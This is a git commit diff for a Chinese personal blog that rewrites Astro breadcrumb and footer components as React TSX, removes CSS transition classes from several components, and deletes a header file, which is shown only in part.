统一组件使用astro,优化css样式,新增文章,优化文章格式
This commit is contained in:
parent
57d406c277
commit
0d48cc8591
7107
package-lock.json
generated
7107
package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@ -1,69 +0,0 @@
|
|||||||
---
|
|
||||||
// 面包屑导航组件
|
|
||||||
// 接收当前页面类型、路径段和标签过滤器作为参数
|
|
||||||
|
|
||||||
interface Breadcrumb {
|
|
||||||
name: string;
|
|
||||||
path: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface Props {
|
|
||||||
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
|
|
||||||
pathSegments?: string[]; // 路径段数组
|
|
||||||
tagFilter?: string; // 标签过滤器
|
|
||||||
articleTitle?: string; // 文章标题(仅在文章详情页使用)
|
|
||||||
}
|
|
||||||
|
|
||||||
const { pageType, pathSegments = [], tagFilter = '', articleTitle = '' } = Astro.props;
|
|
||||||
|
|
||||||
// 将路径段转换为面包屑对象
|
|
||||||
const breadcrumbs: Breadcrumb[] = pathSegments
|
|
||||||
.filter(segment => segment.trim() !== '')
|
|
||||||
.map((segment, index, array) => {
|
|
||||||
const path = array.slice(0, index + 1).join('/');
|
|
||||||
return { name: segment, path };
|
|
||||||
});
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
<div class="flex items-center text-sm">
|
|
||||||
<!-- 文章列表链接 -->
|
|
||||||
<a href="/articles" class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
|
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
|
||||||
<path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clip-rule="evenodd" />
|
|
||||||
</svg>
|
|
||||||
文章
|
|
||||||
</a>
|
|
||||||
|
|
||||||
{/* 标签过滤 */}
|
|
||||||
{tagFilter && (
|
|
||||||
<>
|
|
||||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
|
||||||
<span class="text-secondary-600 dark:text-secondary-400 flex items-center">
|
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
|
||||||
<path fill-rule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clip-rule="evenodd" />
|
|
||||||
</svg>
|
|
||||||
{tagFilter}
|
|
||||||
</span>
|
|
||||||
</>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* 目录路径 */}
|
|
||||||
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
|
|
||||||
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
|
|
||||||
return (
|
|
||||||
<span>
|
|
||||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
|
||||||
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
|
|
||||||
</span>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
|
|
||||||
{/* 文章标题 */}
|
|
||||||
{pageType === 'article' && articleTitle && (
|
|
||||||
<>
|
|
||||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
|
||||||
<span class="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
|
|
||||||
</>
|
|
||||||
)}
|
|
||||||
</div>
|
|
72
src/components/Breadcrumb.tsx
Normal file
72
src/components/Breadcrumb.tsx
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface Breadcrumb {
|
||||||
|
name: string;
|
||||||
|
path: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface BreadcrumbProps {
|
||||||
|
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
|
||||||
|
pathSegments?: string[]; // 路径段数组
|
||||||
|
tagFilter?: string; // 标签过滤器
|
||||||
|
articleTitle?: string; // 文章标题(仅在文章详情页使用)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function Breadcrumb({
|
||||||
|
pageType,
|
||||||
|
pathSegments = [],
|
||||||
|
tagFilter = '',
|
||||||
|
articleTitle = ''
|
||||||
|
}: BreadcrumbProps) {
|
||||||
|
// 将路径段转换为面包屑对象
|
||||||
|
const breadcrumbs: Breadcrumb[] = pathSegments
|
||||||
|
.filter(segment => segment.trim() !== '')
|
||||||
|
.map((segment, index, array) => {
|
||||||
|
const path = array.slice(0, index + 1).join('/');
|
||||||
|
return { name: segment, path };
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="flex items-center text-sm">
|
||||||
|
{/* 文章列表链接 */}
|
||||||
|
<a href="/articles" className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||||
|
<path fillRule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clipRule="evenodd" />
|
||||||
|
</svg>
|
||||||
|
文章
|
||||||
|
</a>
|
||||||
|
|
||||||
|
{/* 标签过滤 */}
|
||||||
|
{tagFilter && (
|
||||||
|
<>
|
||||||
|
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||||
|
<span className="text-secondary-600 dark:text-secondary-400 flex items-center">
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||||
|
<path fillRule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clipRule="evenodd" />
|
||||||
|
</svg>
|
||||||
|
{tagFilter}
|
||||||
|
</span>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* 目录路径 */}
|
||||||
|
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
|
||||||
|
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
|
||||||
|
return (
|
||||||
|
<span key={`crumb-${index}`}>
|
||||||
|
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||||
|
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* 文章标题 */}
|
||||||
|
{pageType === 'article' && articleTitle && (
|
||||||
|
<>
|
||||||
|
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||||
|
<span className="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
@ -100,7 +100,7 @@ export const Countdown: React.FC<CountdownProps> = ({ targetDate, className = ''
|
|||||||
|
|
||||||
const TimeBox = ({ value, label }: { value: number; label: string }) => (
|
const TimeBox = ({ value, label }: { value: number; label: string }) => (
|
||||||
<div className="text-center px-4">
|
<div className="text-center px-4">
|
||||||
<div className="text-4xl font-light transition-all duration-300">
|
<div className="text-4xl font-light">
|
||||||
{value.toString().padStart(2, '0')}
|
{value.toString().padStart(2, '0')}
|
||||||
</div>
|
</div>
|
||||||
<div className="text-sm mt-1 text-gray-500 dark:text-gray-400">{label}</div>
|
<div className="text-sm mt-1 text-gray-500 dark:text-gray-400">{label}</div>
|
||||||
|
@ -190,7 +190,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
|||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
onClick={() => fetchData()}
|
onClick={() => fetchData()}
|
||||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
|
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
|
||||||
>
|
>
|
||||||
重试
|
重试
|
||||||
</button>
|
</button>
|
||||||
@ -227,14 +227,14 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
|||||||
{items.map((item, index) => (
|
{items.map((item, index) => (
|
||||||
<div
|
<div
|
||||||
key={`${item.title}-${index}`}
|
key={`${item.title}-${index}`}
|
||||||
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg transition-shadow duration-300"
|
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg"
|
||||||
>
|
>
|
||||||
<a href={item.link} target="_blank" rel="noopener noreferrer" className="block">
|
<a href={item.link} target="_blank" rel="noopener noreferrer" className="block">
|
||||||
<div className="relative pb-[140%] overflow-hidden">
|
<div className="relative pb-[140%] overflow-hidden">
|
||||||
<img
|
<img
|
||||||
src={item.imageUrl}
|
src={item.imageUrl}
|
||||||
alt={item.title}
|
alt={item.title}
|
||||||
className="absolute inset-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105"
|
className="absolute inset-0 w-full h-full object-cover hover:scale-105"
|
||||||
loading="lazy"
|
loading="lazy"
|
||||||
onError={(e) => {
|
onError={(e) => {
|
||||||
const target = e.target as HTMLImageElement;
|
const target = e.target as HTMLImageElement;
|
||||||
@ -263,7 +263,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
|||||||
<button
|
<button
|
||||||
onClick={() => handlePageChange(pagination.current - 1)}
|
onClick={() => handlePageChange(pagination.current - 1)}
|
||||||
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
||||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||||
aria-label="上一页"
|
aria-label="上一页"
|
||||||
@ -286,7 +286,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
|||||||
<button
|
<button
|
||||||
onClick={() => handlePageChange(pagination.current + 1)}
|
onClick={() => handlePageChange(pagination.current + 1)}
|
||||||
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
||||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||||
aria-label="下一页"
|
aria-label="下一页"
|
||||||
|
@ -1,63 +0,0 @@
|
|||||||
---
|
|
||||||
interface Props {
|
|
||||||
icp?: string;
|
|
||||||
psbIcp?: string;
|
|
||||||
psbIcpUrl?: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const {
|
|
||||||
icp = "",
|
|
||||||
psbIcp = "",
|
|
||||||
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
|
|
||||||
} = Astro.props;
|
|
||||||
|
|
||||||
const currentYear = new Date().getFullYear();
|
|
||||||
---
|
|
||||||
|
|
||||||
<footer class="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
|
|
||||||
<div class="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
|
|
||||||
<div class="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
|
|
||||||
|
|
||||||
{icp && (
|
|
||||||
<a
|
|
||||||
href="https://beian.miit.gov.cn/"
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
|
||||||
aria-label="工信部备案信息"
|
|
||||||
>
|
|
||||||
{icp}
|
|
||||||
</a>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{psbIcp && (
|
|
||||||
<a
|
|
||||||
href={psbIcpUrl}
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="flex items-center hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
|
||||||
aria-label="公安部备案信息"
|
|
||||||
>
|
|
||||||
<img src="/images/national.png" alt="公安备案" class="h-4 mr-1" width="14" height="16" loading="lazy" />
|
|
||||||
{psbIcp}
|
|
||||||
</a>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
|
|
||||||
<a href="https://blog.lsy22.com" class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200">
|
|
||||||
© {currentYear} New Echoes. All rights reserved.
|
|
||||||
</a>
|
|
||||||
<span aria-hidden="true" class="hidden sm:inline">·</span>
|
|
||||||
<a
|
|
||||||
href="/sitemap-index.xml"
|
|
||||||
target="_blank"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
|
||||||
aria-label="网站地图"
|
|
||||||
>
|
|
||||||
Sitemap
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</footer>
|
|
65
src/components/Footer.tsx
Normal file
65
src/components/Footer.tsx
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface FooterProps {
|
||||||
|
icp?: string;
|
||||||
|
psbIcp?: string;
|
||||||
|
psbIcpUrl?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function Footer({
|
||||||
|
icp = "",
|
||||||
|
psbIcp = "",
|
||||||
|
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
|
||||||
|
}: FooterProps) {
|
||||||
|
const currentYear = new Date().getFullYear();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<footer className="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
|
||||||
|
<div className="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
|
||||||
|
<div className="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
|
||||||
|
|
||||||
|
{icp && (
|
||||||
|
<a
|
||||||
|
href="https://beian.miit.gov.cn/"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:text-primary-600 dark:hover:text-primary-400"
|
||||||
|
aria-label="工信部备案信息"
|
||||||
|
>
|
||||||
|
{icp}
|
||||||
|
</a>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{psbIcp && (
|
||||||
|
<a
|
||||||
|
href={psbIcpUrl}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="flex items-center hover:text-primary-600 dark:hover:text-primary-400"
|
||||||
|
aria-label="公安部备案信息"
|
||||||
|
>
|
||||||
|
<img src="/images/national.png" alt="公安备案" className="h-4 mr-1" width="14" height="16" loading="lazy" />
|
||||||
|
{psbIcp}
|
||||||
|
</a>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
|
||||||
|
<a href="https://blog.lsy22.com" className="hover:text-primary-600 dark:hover:text-primary-400">
|
||||||
|
© {currentYear} New Echoes. All rights reserved.
|
||||||
|
</a>
|
||||||
|
<span aria-hidden="true" className="hidden sm:inline">·</span>
|
||||||
|
<a
|
||||||
|
href="/sitemap-index.xml"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:text-primary-600 dark:hover:text-primary-400"
|
||||||
|
aria-label="网站地图"
|
||||||
|
>
|
||||||
|
Sitemap
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
);
|
||||||
|
}
|
@ -284,7 +284,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
onClick={() => fetchData(pagination.current)}
|
onClick={() => fetchData(pagination.current)}
|
||||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
|
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
|
||||||
>
|
>
|
||||||
重试
|
重试
|
||||||
</button>
|
</button>
|
||||||
@ -331,10 +331,10 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
|||||||
columnClassName="pl-4 bg-clip-padding"
|
columnClassName="pl-4 bg-clip-padding"
|
||||||
>
|
>
|
||||||
{projects.map((project, index) => (
|
{projects.map((project, index) => (
|
||||||
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
|
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 shadow-lg">
|
||||||
<a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5">
|
<a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5">
|
||||||
<div className="flex items-start">
|
<div className="flex items-start">
|
||||||
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50 transition-colors">
|
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50">
|
||||||
{getPlatformIcon(project.platform as GitPlatform)}
|
{getPlatformIcon(project.platform as GitPlatform)}
|
||||||
</div>
|
</div>
|
||||||
<div className="ml-3 flex-1">
|
<div className="ml-3 flex-1">
|
||||||
@ -353,7 +353,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
|||||||
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
|
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-1 mt-2">{project.name}</h3>
|
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 line-clamp-1 mt-2">{project.name}</h3>
|
||||||
|
|
||||||
<div className="h-12 mb-3">
|
<div className="h-12 mb-3">
|
||||||
{project.description ? (
|
{project.description ? (
|
||||||
@ -406,7 +406,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
|||||||
<button
|
<button
|
||||||
onClick={() => handlePageChange(pagination.current - 1)}
|
onClick={() => handlePageChange(pagination.current - 1)}
|
||||||
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
||||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||||
aria-label="上一页"
|
aria-label="上一页"
|
||||||
@ -429,7 +429,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
|||||||
<button
|
<button
|
||||||
onClick={() => handlePageChange(pagination.current + 1)}
|
onClick={() => handlePageChange(pagination.current + 1)}
|
||||||
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
||||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||||
aria-label="下一页"
|
aria-label="下一页"
|
||||||
|
@ -1,582 +0,0 @@
|
|||||||
---
|
|
||||||
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
|
|
||||||
import { ThemeToggle } from './ThemeToggle';
|
|
||||||
|
|
||||||
// 获取当前路径
|
|
||||||
const currentPath = Astro.url.pathname;
|
|
||||||
|
|
||||||
// 移除结尾的斜杠以统一路径格式
|
|
||||||
const normalizedPath = currentPath.endsWith('/') ? currentPath.slice(0, -1) : currentPath;
|
|
||||||
|
|
||||||
// 定义导航链接
|
|
||||||
|
|
||||||
---
|
|
||||||
<header class="fixed w-full top-0 z-50 transition-all duration-300" id="main-header">
|
|
||||||
<div class="absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 transition-all duration-300" id="header-bg"></div>
|
|
||||||
<nav class="relative">
|
|
||||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
|
|
||||||
<div class="flex justify-between h-16">
|
|
||||||
<!-- Logo 部分 -->
|
|
||||||
<div class="flex items-center">
|
|
||||||
<a href="/" class="text-xl md:text-2xl font-bold tracking-tight transition-all duration-300 ease-in-out bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
|
|
||||||
{SITE_NAME}
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- 导航链接 -->
|
|
||||||
<div class="hidden md:flex md:items-center md:space-x-8">
|
|
||||||
<!-- 桌面端搜索框 -->
|
|
||||||
<div class="relative">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
id="desktop-search"
|
|
||||||
class="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
|
|
||||||
placeholder="搜索文章..."
|
|
||||||
/>
|
|
||||||
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
|
||||||
<svg class="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
|
||||||
</svg>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- 搜索结果容器(默认隐藏) -->
|
|
||||||
<div id="desktop-search-results" class="absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 hidden">
|
|
||||||
<!-- 结果将通过JS动态填充 -->
|
|
||||||
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="desktop-search-message">
|
|
||||||
<p>输入关键词开始搜索</p>
|
|
||||||
</div>
|
|
||||||
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="desktop-search-list"></ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{NAV_LINKS.map(link => (
|
|
||||||
<a
|
|
||||||
href={link.href}
|
|
||||||
class:list={[
|
|
||||||
'inline-flex items-center px-1 pt-1 text-sm font-medium transition-colors duration-200',
|
|
||||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
|
||||||
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
|
|
||||||
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{link.text}
|
|
||||||
</a>
|
|
||||||
))}
|
|
||||||
<ThemeToggle client:load />
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- 移动端菜单按钮 -->
|
|
||||||
<div class="flex items-center md:hidden">
|
|
||||||
<!-- 移动端搜索按钮 -->
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
id="mobile-search-button"
|
|
||||||
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2 transition-colors"
|
|
||||||
aria-expanded="false"
|
|
||||||
aria-label="搜索"
|
|
||||||
>
|
|
||||||
<span class="sr-only">搜索</span>
|
|
||||||
<svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 transition-colors"
|
|
||||||
id="mobile-menu-button"
|
|
||||||
aria-expanded="false"
|
|
||||||
aria-label="打开菜单"
|
|
||||||
>
|
|
||||||
<span class="sr-only">打开菜单</span>
|
|
||||||
<svg class="h-6 w-6 block" id="menu-open-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
|
|
||||||
</svg>
|
|
||||||
<svg class="h-6 w-6 hidden" id="menu-close-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
